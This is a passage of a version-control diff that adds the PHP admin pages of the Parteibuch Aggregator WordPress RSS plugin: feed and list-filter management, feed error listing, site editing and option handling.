+  
+
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/bdp-rssadmin-edit.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/bdp-rssadmin-edit.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/bdp-rssadmin-edit.php	(revision 44)
@@ -0,0 +1,122 @@
+<?php 
+
+if ($user_level < 6) die ( __('Cheatin&#8217; uh?') ); 
+
+?>
+
+<h2>Edit list filter #<?php echo $list; ?></h2>
+
+<fieldset>
+
+<form method="post" action="<?php echo $selfreference; ?>">
+
+<?php 
+
+global $bdprss_db;
+
+$result = $bdprss_db->get_list($list);
+if(!$result) {
+	echo "<p><b>Unexpected error:</b> could not find output format #$list </p>\n";
+} else {
+	// setup stuff
+	$lname = bdpDisplayCode($result->{$bdprss_db->lname});
+	$llistall = $result->{$bdprss_db->llistall};
+
+	$lurls = $result->{$bdprss_db->lurls};
+	$ids = preg_split("','", $lurls, -1, PREG_SPLIT_NO_EMPTY);
+	//for($i = 0; $i < sizeof($ids); $i++) echo "DEBUG '$ids[$i]'\n";		/* DEBUG */
+
+?>
+
+<table width="100%" cellspacing="2" cellpadding="5" class="editform">
+<tr valign="top"><td align="left" colspan="2"><h4>About this list</h4></td></tr>
+<tr valign="top">
+	<th  width="40%" scope="row">
+		List ID:
+	</th>
+	<td>
+		<?php echo $list; ?>
+		<input type="hidden" name="bdprss_lidentifier" value="<?php echo $list; ?>" />
+	</td>
+</tr>
+
+<tr valign="top">
+	<th  width="40%" scope="row">
+		Name of list filter:
+	</th>
+	<td>
+		<input type="text" name="bdprss_lname" value="<?php echo $lname; ?>" size="50" /><br />
+		(Only used for list management)
+	</td>
+</tr>
+
+<tr valign="top">
+	<th  width="40%" scope="row">
+		Disable filter (List all sites):
+	</th>
+	<td>
+		<input type="checkbox" name="bdprss_llistall" 
+			value="Y" <?php if($llistall == 'Y') echo ' checked="checked"'; ?>>
+			(If checked, the filter will not filter and all items are displayed)
+	</td>
+</tr>
+
+<tr valign="top"><td align="left" colspan="2"><h4>Manage the sites</h4></td></tr>
+
+<tr><td colspan="2">
+<table width="100%" cellpadding="3" cellspacing="3">
+<?php
+
+	global $bdprss_db;
+	$result = $bdprss_db->get_all_sites();
+
+	if($result) {
+		echo "<tr align='center'><td><b>Check</b></td><td><b>ID</b></td>".
+			"<td align='left'><b>Feed</b></td><td><b>Cache Last Updated</b></td></tr>\n";
+		$class = '';
+
+		foreach($result as $r) {
+			$id = $r->{$bdprss_db->cidentifier};
+			$url = $r->{$bdprss_db->cfeedurl};
+			$site = $r->{$bdprss_db->csitename};
+			
+			$updated = PBALIB::gettheage( $r->{$bdprss_db->cupdatetime} );
+			$name = ($site == '') ? $url : "<a href='$url' title='$url'>"."$site</a>";
+			
+			$class = ('alternate' == $class) ? '' : 'alternate';
+			
+			echo "<tr class='$class' valign='middle' align='center'>\n";
+			echo "\t<td><input type='checkbox' name='bdprss_feed_$id' value='1'";
+			if(array_search($id, $ids) !== false) echo " checked='checked'";
+			echo "></td>\n";
+
+			echo "\t<td>$id</td>\n";
+			echo "\t<td align='left'>$name</td>\n";
+			echo "\t<td>$updated</td>\n";
+			echo "</tr>\n";
+		}
+	}
+?>
+</table>
+</td></tr>
+
+
+<tr valign="top"><td align="left" colspan="2"><h4>And hit the edit button to complete</h4></td></tr>
+
+<tr valign="top">
+	<td colspan="2" align="right">
+		<input type="submit" name="bdprss_edit_list_button" value="Edit &raquo;" />
+	</td>
+</tr>
+
+
+
+</table>
+
+</form>
+
+</fieldset>
+
+<?php
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/bdp-rssadmin-error.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/bdp-rssadmin-error.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/bdp-rssadmin-error.php	(revision 44)
@@ -0,0 +1,69 @@
+<?php 
+if ($user_level < 6) die ( __('Cheatin&#8217; uh?') ); 
+
+if($rss) 
+	$result = $bdprss_db->get_site_by_id(intval($rss));
+else
+	$result ='';
+
+if($result)
+	$url = $result->{$bdprss_db->cfeedurl};
+else
+	$url = '';
+
+$result = $bdprss_db->getErrors($url);
+$cache = array();
+$sitename = false;
+?>
+<h2>Recent feed errors</h2>
+<?php
+if($result)
+{
+?>
+
+	<table width="100%" cellpadding="3" cellspacing="3">
+	<tr><th align='left'>Feed</th><th>#</th><th>Time of error</th><th align='left'>Error</th></tr>
+	
+<?php
+	foreach($result as $r)
+	{
+			$url = $r->{$bdprss_db->efeedurl};
+			$id = $r->{$bdprss_db->eidentifier};
+			$ticks = $r->{$bdprss_db->etime};
+			$error = $r->{$bdprss_db->etext};
+			
+			$error = preg_replace("/&#39;/", "'", $error);
+			$error = preg_replace('/&quot;/', '"', $error);
+
+			if(isset($cache[$url]))$sitename = $cache[$url];
+			if(!$sitename)
+			{
+				$result = $bdprss_db->get_site($url);
+				if($result)
+				{
+					$sitename = $result->{$bdprss_db->csitename};
+					$cache[$url] = $sitename;
+				}
+			}
+			
+			if($sitename)
+				$url = "<a href='$url'>$sitename</a>";
+			else
+				$url = "<a href='$url'>$url</a>";
+
+			$age = PBALIB::gettheage($ticks);
+			
+			echo "<tr align='center'><td align='left'>$url</td><td>$id</td>".
+				"<td>$age</td><td align='left'>".$error."</td></tr>\n";
+	}
+?>
+	</table>
+<?php
+}
+else
+{
+?>
+	<p>No errors found.</p>
+<?php
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/bdp-rssadmin-general.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/bdp-rssadmin-general.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/bdp-rssadmin-general.php	(revision 44)
@@ -0,0 +1,371 @@
+<?php
+	if ($user_level < 6) die ( __('Cheatin&#8217; uh?') );  	// safety net to ctach cheets
+?>
+
+<h2>Managing the <a href="edit.php?page=parteibuch-aggregator/bdp-rssadmin.php">Parteibuch Aggregator</a> plugin</h2>
+
+<h3>The Parteibuch Aggregator has some stuff to configure:</h3>
+
+<ul>
+<li><b><a href="#addfeeds">1. add and manage the feeds</a></b> you wish to have in your Parteibuch Aggregator</li>
+<li><b><a href="#createlist">2. create/update lists</a></b> to group your feeds to lists that can be selected for filtering output</li>
+<li><b><a href="#createpbaoutput">3. create/update output formats and assign them to your blog pages</a></b></li>
+<li><b><a href="#globals">4. set/change some global configuration options</a></b> for the Parteibuch Aggregator</li>
+<?php
+if(function_exists('wp_register_sidebar_widget')){
+	echo '<li><b><a href="widgets.php">5. add widgets</a></b> with aggregated feeds to your sidebar</li>';
+}
+
+?>
+</ul>
+
+
+
+<p><hr /></p>
+
+<fieldset>
+<a name="addfeeds"></a>
+<h3>1: Feeds</h3>
+<h4>Add a new feed</h4>
+<form method="post" action="<?php echo $selfreference; ?>">
+	<table border="0" width="100%" cellspacing="2" cellpadding="5" class="editform"> 
+		<tr valign="middle">
+			<td align="left"><strong>RSS Address:</strong>
+				<input type="text" name="bdprss_new_feed_name" value="" size="60" />
+				 <br />(multiple feeds can be entered as a comma separated list)<br/></td>
+			<td align="right">
+				<input type="submit" name="bdprss_add_feed_button" value="Add Feed &raquo;" />
+			</td>
+		</tr>
+	</table>
+</form>
+
+<?php 
+global $bdprss_db;
+$overriden = FALSE;
+$result = $bdprss_db->get_all_sites();
+if($result) {
+?>
+	<hr width='50%' />
+	<h4>Current feeds</h4>
+	<table width="100%" cellpadding="3" cellspacing="3">
+<?php 
+	$file = get_option('siteurl') . '/wp-admin/edit.php?page=' . PBA_DIRECTORY. '/bdp-rssadmin.php';
+	$now = $bdprss_db->now;
+
+	echo "<tr><th align='left'>Site and feed status</th><th>Site updated</th>".
+		"<th>GMT adj</th><th>Polling freq</th>".
+		"<th>Last poll</th><th>Cache updated</th><th>Next poll</th>".
+		"<th colspan='3'>Actions</th></tr>\n";
+	
+	$benchmark = $now - (60 * 60 * 24 * 7);	// highlight blogs with updates older than 7 days
+	
+	if($result) {
+		$class='';
+		foreach($result as $r) {
+			$ref = $r->{$bdprss_db->cidentifier};
+			$url = $r->{$bdprss_db->cfeedurl};
+			$site = $r->{$bdprss_db->csitename};
+			$siteurl = $r->{$bdprss_db->csiteurl};
+			$description = $r->{$bdprss_db->cdescription};
+			$gmt = $r->{$bdprss_db->cgmtadjust};
+			$polled = PBALIB::gettheage( $r->{$bdprss_db->clastpolltime} );
+			$updated = PBALIB::gettheage( $r->{$bdprss_db->cupdatetime} );
+			$scheduled = PBALIB::gettheage( $r->{$bdprss_db->cnextpolltime} );
+			$pollingfreq = $r->{$bdprss_db->cpollingfreqmins};
+			if($scheduled == 'never') $scheduled = 'now';
+			$sno = $r->{$bdprss_db->csitenameoverride} == 'Y';
+			
+			$siteUpdate = '';
+			$name = $url;
+			if($site) 
+			{
+				$italics = ''; $unitalics = '';
+				if($sno) { $italics = '<b>*</b> <em>'; $unitalics = '</em>'; $overriden = TRUE; }
+				$name = "$italics<a href='$siteurl' title='$description'>"."$site</a>$unitalics";
+				$name .= " [<a href='$url' title='$url'>feed</a>]";
+				
+				$ticks = $bdprss_db->get_most_recent_item_time($ref);
+				$bold = ''; $unbold ='';
+				if($ticks < $benchmark) { $bold = '<strong>'; $unbold ='</strong>'; }
+				$siteUpdate = " $bold".PBALIB::gettheage($ticks)."$unbold"; 
+			}
+			
+			$bold = '';
+			$unbold = '';
+			if( $r->{$bdprss_db->clastpolltime} != $r->{$bdprss_db->cupdatetime} ) { 
+				$bold = '<strong>'; 
+				$unbold = '</strong>'; 
+			}
+			
+			$sbold = ''; $sunbold = '';
+			if($r->{$bdprss_db->cnextpolltime} < $now)
+			{
+				$sbold = '<strong>'; 
+				$sunbold = '</strong>'; 
+			}
+			
+			$class = ('alternate' == $class) ? '' : 'alternate';
+			
+			$errorCount = $bdprss_db->countErrors($url);
+			if($errorCount) 
+				$name .= " <a href='".$file.
+					"&amp;action=errorlist&amp;rss=$ref'>[<strong>E&nbsp;$errorCount</strong>]</a>";
+			
+			echo "<tr class='$class' valign='middle' align='center'>\n".
+				"\t<td align='left'>$name</td>\n".
+				"\t<td align='center'>$siteUpdate</td>\n".
+				"\t<td align='center'>";
+			if($gmt != 0.0)	echo $gmt;
+			echo "</td>\n".
+				"\t<td align='center'>";
+			if(	$pollingfreq ) echo "$pollingfreq minutes";
+			echo "</td>\n" .
+				"\t<td align='center'>$polled</td>\n" .
+				"\t<td align='center'>$bold $updated $unbold</td>\n".
+				"\t<td align='center'>$sbold $scheduled $sunbold</td>\n".
+				"\t<td align='center'><a href='" .$file. 
+				"&amp;action=editfeed&amp;rss=$ref'>Edit</a></td>\n".
+				"\t<td align='center'><a href='" .$file. 
+				"&amp;action=update&amp;rss=$ref'>Poll</a></td>\n".
+				"\t<td align='center'><a href='" .$file. 
+				"&amp;action=delete&amp;rss=$ref'>Delete</a></td>\n".
+				"</tr>\n";
+		}
+	}
+}
+?>
+</table>
+
+<?php
+
+if($overriden) 
+	echo "<p><b>Note:</b> Sites in italics have had their feed details overridden. ".
+	"To restore feed details: first edit the site, second un-tick the box to switch off the feed override, ".
+	"then hit the edit button, and finally poll the feed. </p>\n";
+
+// improved monitoring of feed errors
+if($bdprss_db->countErrors())
+{
+	echo "<hr width='50%' />\n\n<h4>Recent feed errrors</h4>\n\n";
+
+	echo "<table width='100%' cellpadding='3' cellspacing='3'>\n";
+	echo "<tr><td align='left'>".
+		"<a href='".$file."&amp;action=errorlist'>List all feed errors</a></td>\n";
+	echo "<td align='right'>".
+		"<a href='".$file."&amp;action=errordelete'>Delete the feed error table</a></td>\n";
+	echo "</tr></table>";
+}
+
+// lets put the list of URLs in the OUTPUT - they can be useful!
+if($result) 
+{
+	echo "<hr width='50%' />\n\n<h4>A list of feeds</h4>\n\n";
+
+	echo "<p>This list can be copied and saved to a file. If you delete everything, ".
+		"you can paste the list into the add feeds box.</p>\n<p>";
+
+echo '<textarea cols="120" rows="5" readonly>';
+
+	$subsequent = false;
+	foreach($result as $r) 
+	{
+		if($subsequent) echo " ";
+		$subsequent = true;
+		$url = $r->{$bdprss_db->cfeedurl};
+		echo $url;
+	}
+	echo "</textarea></p>\n";
+}
+?>
+</fieldset>
+
+<hr width='50%' />
+
+<fieldset>
+<h4>Manage feed related values</h4>
+
+<form method="post" action="<?php echo $selfreference; ?>">
+	
+	<table border="0" width="100%" cellspacing="2" cellpadding="5" class="editform"> 
+	<tr valign="top">
+		<th  width="40%" scope="row">
+			Standard feed polling frequency:
+		</th>
+		<td>
+			<input type="range" name="bdprss_new_frequency" 
+					value="<?php echo get_option('bdprss_update_frequency'); ?>" 
+					maxlength="3" size="3" /> minutes<br>
+					This frequency is used for all sites unless a non-standard
+					frequency is set above.
+		</td>
+	</tr>
+	<tr valign="top">
+		<th  width="40%" scope="row">
+			Keep feed items for:
+		</th>
+		<td>
+			<input type="range" name="bdprss_keep_howlong" 
+					value="<?php echo intval(get_option('bdprss_keep_howlong')); ?>" 
+					maxlength="3" size="3" /> months (zero = forever)
+		</td>
+	</tr>
+	<tr valign="top">
+		<td align="right" colspan="2">
+			<input type="submit" name="bdprss_change_frequency_button" 
+			value="Change &raquo;" />
+		</td>
+	</tr>
+	</table>
+
+</form>
+</fieldset>
+	
+<hr width='50%' />
+	
+<fieldset>
+<h4>Poll some RSS feeds</h4>
+<?php
+	echo "<table width='100%' cellpadding='3' cellspacing='3'>\n";
+	echo "<tr><td align='left'>".
+		"Be patient, this can take some time.";
+?></td><td align="right">
+
+<form method="post" action="<?php echo $selfreference; ?>">
+			<input type="submit" name="bdprss_poll_all_button" value="Poll some feeds" />
+</form>
+</td></tr></table>
+</fieldset>
+
+<p><hr /></p>
+
+<fieldset>
+<a name="createlist"></a>
+<h3>2: List filters</h3>
+
+<h4><a href="<?php echo "$selfreference&amp;action=createlist"; ?>">Create a new list filter</a></h4>
+
+<?php 
+global $bdprss_db;
+$result = $bdprss_db->get_all_lists();
+$pbaoutputs = $bdprss_db->get_all_pbaoutputs();
+if($result) {
+	if($pbaoutputs){
+		foreach($pbaoutputs as $r) {
+			if(!isset($isdefaultlist[$r->{$bdprss_db->pbaodefaultlist}])) $isdefaultlist[$r->{$bdprss_db->pbaodefaultlist}] ="";
+			$isdefaultlist[$r->{$bdprss_db->pbaodefaultlist}] .= $r->{$bdprss_db->pbaoidentifier} . " ";
+		}
+	}
+
+?>
+
+	<h4>Current lists</h4>
+	<table width="100%" cellpadding="3" cellspacing="3">
+<?php 
+	global $bdprss_db;
+
+	$file = get_option('siteurl') . '/wp-admin/edit.php?page=' . PBA_DIRECTORY. '/bdp-rssadmin.php';
+
+	echo "<tr><th>List ID</th><th width='60%'>Name</th><th colspan='3'>Actions</th></tr>\n";
+
+	if($result) {
+		$class = '';
+		foreach($result as $r) {
+			$id = $r->{$bdprss_db->lidentifier};
+			$name = htmlspecialchars($r->{$bdprss_db->lname});
+
+			$class = ('alternate' == $class) ? '' : 'alternate';
+
+			echo "<tr class='$class' valign='middle' align='center'>\n".
+				"<td>$id</td><td width='60%'>$name</td>".
+				"<td><a href='$selfreference&amp;action=editlist&amp;list=$id'>Edit</a></td><td>".
+				"<a title='Copy list filter #$id and edit it as new list ' href='$selfreference&amp;action=createlist&amp;list=$id'>Copy to new</a></td><td>";
+			if(!isset($isdefaultlist[$id])) {
+				echo "<a href='$selfreference&amp;action=dellist&amp;list=$id'>Delete</a>";
+			}else{
+				echo "Used by $isdefaultlist[$id]";
+				$displaylistnote=true;
+			}
+			echo "</td></tr>";
+		}
+	}
+}
+
+?>
+</table>
+</fieldset>
+<?php	if($displaylistnote) echo "<p><b>Note:</b> List filters can only be deleted when they are not used as default list filter by any output format</p>\n"; ?>
+
+<p><hr /></p>
+
+<?php 
+?>
+
+<fieldset>
+<a name="createpbaoutput"></a>
+<h3>3: Output streams</h3>
+
+<h4><a href="<?php echo "$selfreference&amp;action=createpbaoutput"; ?>">Create a new output format</a></h4>
+
+<?php 
+global $bdprss_db;
+if(count($pbaoutputs)>=1) {
+?>
+
+	<h4>Current output streams</h4>
+	<table width="100%" cellpadding="3" cellspacing="3">
+<?php 
+	global $bdprss_db;
+
+	$file = get_option('siteurl') . '/wp-admin/edit.php?page=' . PBA_DIRECTORY. '/bdp-rssadmin.php';
+
+	echo "<tr><th>Output format ID</th><th width='60%'>Name</th><th colspan='3'>Actions</th></tr>\n";
+
+	if($pbaoutputs) {
+		$class = '';
+		foreach($pbaoutputs as $r) {
+			$id = $r->{$bdprss_db->pbaoidentifier};
+			$name = htmlspecialchars($r->{$bdprss_db->pbaoname});
+
+			$class = ('alternate' == $class) ? '' : 'alternate';
+
+			echo "<tr class='$class' valign='middle' align='center'>\n".
+				"<td>$id</td><td width='60%'>$name</td>".
+				"<td><a href='$selfreference&amp;action=editpbaoutput&amp;pboutput=$id'>Edit</a></td>".
+				"<td><a title='Copy output format #$id and edit it as new pba output ' href='$selfreference&amp;action=createpbaoutput&amp;pboutput=$id'>Copy to new</a></td>".
+				"<td><a href='$selfreference&amp;action=delpbaoutput&amp;pboutput=$id'>Delete</a></td>".
+				"</tr>";
+		}
+	}
+}
+
+?>
+</table>
+</fieldset>
+
+
+
+<p><hr /></p>
+<a name="globals"></a>
+<h3>4. Manage some global options of the Parteibuch Aggregator</h3>
+<?php echo "<a href='$selfreference&amp;action=options'><b>Manage global options</b></a>"; ?>
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Do you want to have a look into programmer&#39;s hell? Go and get here <?php echo "<a href='$selfreference&amp;action=status'><b>some raw status info</b></a>."; ?>
+
+<p><hr /></p>
+
+<fieldset>
+<h3>Notes:</h3> 
+<ul>
+
+<li>Although <b>designed for <a href="http://wordpress.org/">Wordpress'</a> single site RSS feeds</b>, 
+this system should work with the RDF feeds generated by <a href="http://www.sixapart.com/">Typepad</a> 
+and the ATOM feeds generated by <a href="http://www.blogger.com/start">Blogger</a>.
+It will not work with synthetic or multi-channel RSS or ATOM feeds.</li>
+
+<li>The number of feeds you will be able to carry will depend on the volume of traffic to your site,
+and the polling frequency. Typically each hit to your site will update one feed. The more visitors per hour, 
+and the wider the polling interval, the more feeds you will be able to carry. </li>
+
+</ul>
+</fieldset>
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/bdp-rssadmin-sno.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/bdp-rssadmin-sno.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/bdp-rssadmin-sno.php	(revision 44)
@@ -0,0 +1,200 @@
+<?php 
+
+if ($user_level < 6) die ( __('Cheatin&#8217; uh?') ); 
+
+$result = $bdprss_db->get_site_by_id($rss);
+if($result) $cidentifier = $result->{$bdprss_db->cidentifier};
+
+?>
+
+<h2><a href="edit.php?page=parteibuch-aggregator/bdp-rssadmin.php">Parteibuch Aggregator</a>: Edit site & feed information</h2>
+
+
+<fieldset>
+
+<form method="post" action="<?php echo $selfreference; ?>">
+
+
+<?php 
+
+if(!$result || ($rss != $cidentifier) ) {
+	echo "<p><b>Unexpected error:</b> could not find feed $rss, or it differed from $cidentifier</p>\n";
+} else {
+	$cfeedurl = 			bdpDisplayCode($result->{$bdprss_db->cfeedurl});
+	$csitename =			bdpDisplayCode($result->{$bdprss_db->csitename});
+	$cdescription = 		bdpDisplayCode($result->{$bdprss_db->cdescription});
+	$csitelicense =				bdpDisplayCode($result->{$bdprss_db->csitelicense});
+	$csiteurl =				bdpDisplayCode($result->{$bdprss_db->csiteurl});
+	$cgmtadjust = 			$result->{$bdprss_db->cgmtadjust};
+	$csitenameoverride = 	$result->{$bdprss_db->csitenameoverride};
+	$cpollingfreqmins = $result->{$bdprss_db->cpollingfreqmins};
+	$cnextpolltime = $result->{$bdprss_db->cnextpolltime};
+?>
+
+
+	<table width="100%" cellspacing="2" cellpadding="5" class="editform">
+
+	<tr><td colspan='2'><h3>Site information</h3></td></tr>
+
+	<tr valign="top">
+		<th  width="40%" scope="row">
+			Feed URL:
+		</th>
+		<td>
+			<?php echo "$cfeedurl [id:$cidentifier]"; ?>
+			<input type="hidden" name="bdprss_cidentifier" value="<?php echo $cidentifier; ?>" />
+		</td>
+	</tr>
+
+	<tr valign="top">
+		<th  width="40%" scope="row">
+			Feed name:
+		</th>
+		<td>
+			<input type="text" name="bdprss_csitename" value="<?php echo $csitename; ?>" size="50" />
+		</td>
+	</tr>
+
+	<tr valign="top">
+		<th  width="40%" scope="row">
+			Feed description:
+		</th>
+		<td>
+			<textarea cols="50" rows="4" name="bdprss_cdescription"><?php echo $cdescription; ?></textarea>
+		</td>
+	</tr>
+
+	<tr valign="top">
+		<th  width="40%" scope="row">
+			Feed License:
+		</th>
+		<td>
+			<input type="text" name="bdprss_csitelicense" value="<?php echo $csitelicense; ?>" size="50" />
+			<br />If the license could not be detected automatically, put in here the license of the feed you aggregate 
+			like Public Domain, Piratenlizenz, CC-BY, "owner allowed me to redistribute". If unsure, ask the 
+			feed owner about his license modell before you aggregate his feed. 
+		</td>
+	</tr>
+
+	<tr valign="top">
+		<th  width="40%" scope="row">
+			Site URL:
+		</th>
+		<td>
+			<input type="text" name="bdprss_csiteurl" value="<?php echo $csiteurl; ?>" size="50" />
+		</td>
+	</tr>
+
+	<tr valign="top">
+		<th  width="40%" scope="row">
+			Override site origin information from feed:
+		</th>
+		<td>
+			<input type="checkbox" name="bdprss_csitenameoverride" 
+				value="Y" <?php if($csitenameoverride == 'Y') echo ' checked="checked"'; ?>>
+				This must be set to save the above information. <b>Attention</b>: Without having this button 
+				checked, the Parteibuch Agregator will assume this feed a feed from another aggregator and 
+				try to find a name of origin for each item seperately and take this value as site name. Sometimes 
+				the origin resolves to values like "admin", so be sure to check this button for all single 
+				site feeds.
+		</td>
+	</tr>
+
+	<tr><td colspan='2'><h3>Edit feed handling options</h3></td></tr>
+
+	<tr valign="top">
+		<th  width="40%" scope="row">
+			GMT adjustment:
+		</th>
+		<td>
+			<input type="text" name="bdprss_cgmtadjust" value="<?php echo $cgmtadjust; ?>" size="4" />
+			hours<br>
+			Use range: -48.0 &lt;= adjustment &lt;= 48.0<br>
+			Note: this field will be saved even if the override is not set.<br>
+		</td>
+	</tr>
+
+	<tr valign="top">
+		<th  width="40%" scope="row">
+			Set a non-standard site polling frequency:
+		</th>
+		<td>
+			<input type="text" name="bdprss_cpollingfreqmins" 
+				value="<?php echo $cpollingfreqmins; ?>" size="7" /> minutes<br>
+			Use range: 0 &lt;= frequency &lt;= 1000000<br>
+			0 means use the standard site polling frequency.<br>
+			Note: day = 1440 min, week = 10080 min<br>
+		</td>
+
+	<tr valign="top">
+		<th  width="40%" scope="row">
+			Change feed url:
+		</th>
+		<td>
+			<input type="text" name="bdprss_cnewfeedurl" value="" size="50" />
+			<input type="hidden" name="bdprss_coldfeedurl" value="<?php echo $cfeedurl; ?>" />
+			<br />leave empty for not touching feed url
+		</td>
+	</tr>
+
+	<tr valign="top">
+		<th  width="40%" scope="row">
+			Change next poll timestamp:
+		</th>
+		<td>
+			<input type="text" name="pba_cnewnextpolltime" value="" size="10" maxlength="10" />
+			<?php echo '<br />value was: '.$cnextpolltime.' that means: ' .date('r', $cnextpolltime); ?>
+			<br />leave empty for not touching next poll timestamp
+			<br />if you want to disable this feed, enter 2147483647
+		</td>
+	</tr>
+
+
+<?php
+	$listresult = $bdprss_db->get_all_lists();
+		if($listresult) {
+		echo "<tr><td colspan='2'><h3>List inclusions</h3></td></tr>\n";
+			$class = '';
+			foreach($listresult as $r) {
+				$id = $r->{$bdprss_db->lidentifier};
+				$name = htmlspecialchars($r->{$bdprss_db->lname});
+				$llistall = $r->{$bdprss_db->llistall};
+				$lurllist= ',' . $r->{$bdprss_db->lurls} . ',';
+				$class = ('alternate' == $class) ? '' : 'alternate';
+
+				echo '<tr valign="top">
+					<th  width="40%" scope="row">
+					List ID '.$id.' - '.$name.':
+					</th>';
+				$checked="";
+				if(strstr($lurllist, ','. $cidentifier . ',')) $checked=" checked ";
+				$dummyfilter=" Check to include this feed into this list";
+				if($llistall == 'Y') $dummyfilter=" List $id will display all items anyway.";
+				echo '<td>
+					<input type="checkbox" name="pba_site_included_in_list_'.$id.'" 
+					value="Y" '.$checked.'  >
+					'.$dummyfilter.'
+					</td>
+					</tr>';
+
+				
+			}
+			
+		}
+	
+?>
+
+	</tr>
+	<tr valign="top">
+		<td colspan="2" align="right">
+			<input type="submit" name="bdprss_edit_site_button" value="Edit &raquo;" />
+		</td>
+	</tr>
+
+	</table>
+
+<?php
+}
+?>
+</form>
+</fieldset>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/bdp-rssadmin.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/bdp-rssadmin.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/bdp-rssadmin.php	(revision 44)
@@ -0,0 +1,518 @@
+<?php 
+
+/* ----- Access validation ----- */
+
+if ($user_level < 6) die ( __('Cheatin&#8217; uh?') );
+
+if(!defined('PBA_DIRECTORY')) {
+	echo "<h1>Parteibuch Aggregator</h1><br><br>Please <a href='plugins.php'>activate</a> the Parteibuch RSS Aggregator plugin before trying to use it";
+	return false;
+}
+
+/* ----- Admin functions and initialisation ----- */
+
+function bdpSetFeed($sitelist='') 
+{
+	global $bdprss_db;
+
+	$sitelist = trim($sitelist);
+	if($sitelist == '') 
+		return	'<div class="wrap"><h3>Warning</h3>No RSS site was specified\n</div>';
+			
+	$sites = preg_split("'[ \n\t\r]+'", $sitelist, -1, PREG_SPLIT_NO_EMPTY); // space separated list
+			
+	// we start at two so that $bdprss_db->clastpolltime != $bdprss_db->cupdatetime
+	$count = 2;	 
+			
+	// add to the site list
+	foreach($sites as $s) 
+	{
+		$s = trim($s);
+				
+		if(!$s) continue;
+				
+		if(!$bdprss_db->is_in_sitetable($s)) 
+		{ 
+			$result = $bdprss_db->insert_in_sitetable($s, $count);
+			$count++;
+		} 
+	}
+	return FALSE;
+}
+
+function bdpSetFrequency($freq='') 
+{
+	if(!$freq || !is_int($freq) || $freq<1 || $freq>999) 
+		$freq = 60;	// 60 minutes is the default
+	update_option('bdprss_update_frequency', $freq);
+}
+
+function bdpDisplayCode($text)
+{
+//	Stored in DB	Displayed		Note
+//	-----------------------------------------------------------
+//	>				&gt;			close tag
+//  &gt;			&amp;gt;		right angle bracket
+//	&quot;			&quot;			double quotation mark --> "
+//	&nbsp;			&amp;nbsp;		non breaking space
+
+	$text = mb_ereg_replace('&#39;', "'", $text);
+	$text = mb_ereg_replace('&quot;', '"', $text);
+
+	$text = mb_ereg_replace('&', '&amp;', $text);
+
+	$text = mb_ereg_replace("'", '&#39;', $text);
+	$text = mb_ereg_replace('"', '&quot;', $text);
+	$text = mb_ereg_replace('<', '&lt;', $text);
+	$text = mb_ereg_replace('>', '&gt;', $text);
+
+	return ($text);
+}
+
+global $bdprss_db;
+
+if(!(int) get_option('bdprss_update_frequency')) bdpSetFrequency();	// initialise polling frequency
+if(!(int) get_option('bdprss_keep_howlong')) {
+			update_option('bdprss_keep_howlong', 0);	// storage in months, 0 = forever
+}
+
+
+/* ----- Capture and process form variables ----- */
+
+
+if( isset($_POST['bdprss_add_feed_button']) )
+{
+	$r = bdpSetFeed($_POST['bdprss_new_feed_name']);
+	if($r) echo $r;
+}
+
+if( isset($_POST['bdprss_change_frequency_button']) )
+{
+	bdpSetFrequency((int) $_POST['bdprss_new_frequency']);
+
+	$howlong = (int) $_POST['bdprss_keep_howlong'];
+	if($howlong <= 0 || $howlong > 999) $howlong = 0;	// months, zero default means forever
+	update_option('bdprss_keep_howlong', 		$howlong);
+}
+
+if( isset($_POST['pba_edit_options_button']) ){
+	$bdprss_db->check_cache($bdprss_db->serverstatus);
+	$bdprss_db->check_rewriting($bdprss_db->serverstatus);
+	$optionsarray = array();
+	if(isset($_POST['pba_options_enable_caching'])){
+
+		if($_POST['pba_options_enable_caching'] == 'Y' ) {
+			$optionsarray['enable_caching']=array('type' => 'string', 'value' => 'Y', 'notice' => 'user request');
+		}elseif($_POST['pba_options_enable_caching'] == 'N' ){
+			$optionsarray['enable_caching']=array('type' => 'string', 'value' => 'N', 'notice' => 'user request');
+		}elseif($_POST['pba_options_enable_caching'] == 'auto' ){
+			$optionsarray['enable_caching']=array('type' => 'string', 'value' => 'auto', 'notice' => 'user request');
+		}
+
+		if($_POST['pba_options_link_rewriting'] == 'Y' ) {
+			$optionsarray['enable_rewriting']=array('type' => 'string', 'value' => 'Y', 'notice' => 'user request');
+		}elseif($_POST['pba_options_link_rewriting'] == 'N' ){
+			$optionsarray['enable_rewriting']=array('type' => 'string', 'value' => 'N', 'notice' => 'user request');
+		}elseif($_POST['pba_options_link_rewriting'] == 'auto' ){
+			$optionsarray['enable_rewriting']=array('type' => 'string', 'value' => 'auto', 'notice' => 'user request');
+		}
+
+		if(isset($_POST['pba_full_cache_time'])) {
+			$optionsarray['full_cache_time']=array('type' => 'int', 'value' => abs(intval($_POST['pba_full_cache_time'])), 'notice' => 'user request');
+		}
+		if(isset($_POST['pba_kalenderquery_cache_time'])) {
+			$optionsarray['kalenderquery_cache_time']=array('type' => 'int', 'value' => abs(intval($_POST['pba_kalenderquery_cache_time'])), 'notice' => 'user request');
+		}
+		if(isset($_POST['pba_feedlistquery_cache_time'])) {
